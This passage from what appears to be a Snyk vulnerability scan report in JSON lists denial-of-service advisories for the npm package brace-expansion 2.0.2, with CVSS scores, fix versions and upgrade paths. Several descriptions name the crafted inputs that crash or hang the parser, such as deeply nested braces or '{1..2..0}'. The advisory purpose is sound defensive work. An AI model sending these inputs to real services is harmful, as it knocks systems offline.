Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
